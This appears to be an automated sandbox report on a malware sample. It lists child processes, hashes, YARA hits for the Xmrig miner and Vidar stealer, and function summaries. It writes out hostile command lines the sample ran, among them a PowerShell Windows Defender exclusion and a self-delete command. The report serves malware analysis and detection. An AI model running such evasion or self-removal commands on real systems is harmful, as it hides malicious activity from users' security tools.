Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:13:27
Start date:	20/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.2960214662.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.2959247337.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.2959247337.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:13:27
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:13:27
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	15:13:27
Start date:	20/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff639700000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	15:13:30
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe"
Imagebase:	0x50000
File size:	4'448'256 bytes
MD5 hash:	ECE3B1A61F2977C90820F0601637020E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	15:13:38
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe"
Imagebase:	0x7a0000
File size:	1'374'720 bytes
MD5 hash:	669ED3665495A4A52029FF680EC8EBA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 28%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	15:13:43
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe"
Imagebase:	0xa40000
File size:	22'016 bytes
MD5 hash:	04F57C6FB2B2CD8DCC4B38E4A93D4366
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 57%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	15:13:43
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	15:13:46
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi"
Imagebase:	0x580000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	15:13:47
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.1%
Total number of Nodes:	762
Total number of Limit Nodes:	16

Executed Functions

Function 0052652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0052652A,?,?,?,?,?,00527661), ref: 00526567

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 9ed6ac77f5ee1c30c870d17086e0441ce95809496bba5ce121d81e9613eff160
Instruction ID: 229d4787e28283674760c9e4bc6a4109988492745541790db25895efcf447cf5
Opcode Fuzzy Hash: 9ed6ac77f5ee1c30c870d17086e0441ce95809496bba5ce121d81e9613eff160
Instruction Fuzzy Hash: 8FE08C30220158AFCE25BB18E80DA5C7F2AFF53741F800810F8084A262CB25ED81C690

Function 05310C49 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212237065.0000000005310000.00000040.00001000.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5310000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ccabd38c87968b7c2ab546e6f8e2131b5e95c1d15319a1a8c3e3d01bb79db1d
Instruction ID: 4219595605aaedb3f9f7cfe48b8a4bb9df2133b5c1e3c8149051c989b2fb2a41
Opcode Fuzzy Hash: 1ccabd38c87968b7c2ab546e6f8e2131b5e95c1d15319a1a8c3e3d01bb79db1d
Instruction Fuzzy Hash: B0115EEF188110BE604EC5956B68AF6A7AFF5C6730330846BF807D6E02E6D44A8C6439

Function 004F5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 004F60FA
0000043f, xrefs: 004F612B
00000419, xrefs: 004F6098
00000422, xrefs: 004F60C9
Keyboard Layout\Preload, xrefs: 004F6054

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 7557143b0ba003073c7fd34d1b609afc3cbac6087b1a0cde3d39b5309e80a75d
Instruction ID: ae28a37308e1d57e53a30dca314b380ee765033131ce9b42e50161bb81428aa7
Opcode Fuzzy Hash: 7557143b0ba003073c7fd34d1b609afc3cbac6087b1a0cde3d39b5309e80a75d
Instruction Fuzzy Hash: 4BF1E27090025D9BEB24DF54CC89BEEBBB9FF45304F504299E608A72C1DB749A84CF95

Function 004F9BA5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 8030cc1b7cb39cf07f839bc09589c0dd87bf518332a59c53405a8eaf20f2cfca
Instruction ID: 60409bc46993291bd8a96346d410a5ca798fc54fb088837af9decc411296751f
Opcode Fuzzy Hash: 8030cc1b7cb39cf07f839bc09589c0dd87bf518332a59c53405a8eaf20f2cfca
Instruction Fuzzy Hash: EE314CB1B002088BEB18EB78DD8DB7DBB72EFC2310F20461AE118973D5C77A59908755

Function 004F9F44 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 0e5e050d8f5bbd8af40d850087d87f31a8d6e4392ff47f93a500aea37c893e33
Instruction ID: 9ef0526604b8c8d68c4a46c96d6663f190a15f0db206d96bff6f6b7f68fffea0
Opcode Fuzzy Hash: 0e5e050d8f5bbd8af40d850087d87f31a8d6e4392ff47f93a500aea37c893e33
Instruction Fuzzy Hash: 2A312CB17102088BEB18DB68DD8CB7DBB72EFC6310F24461AE118D73D1C77A4990876A

Function 004FA079 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
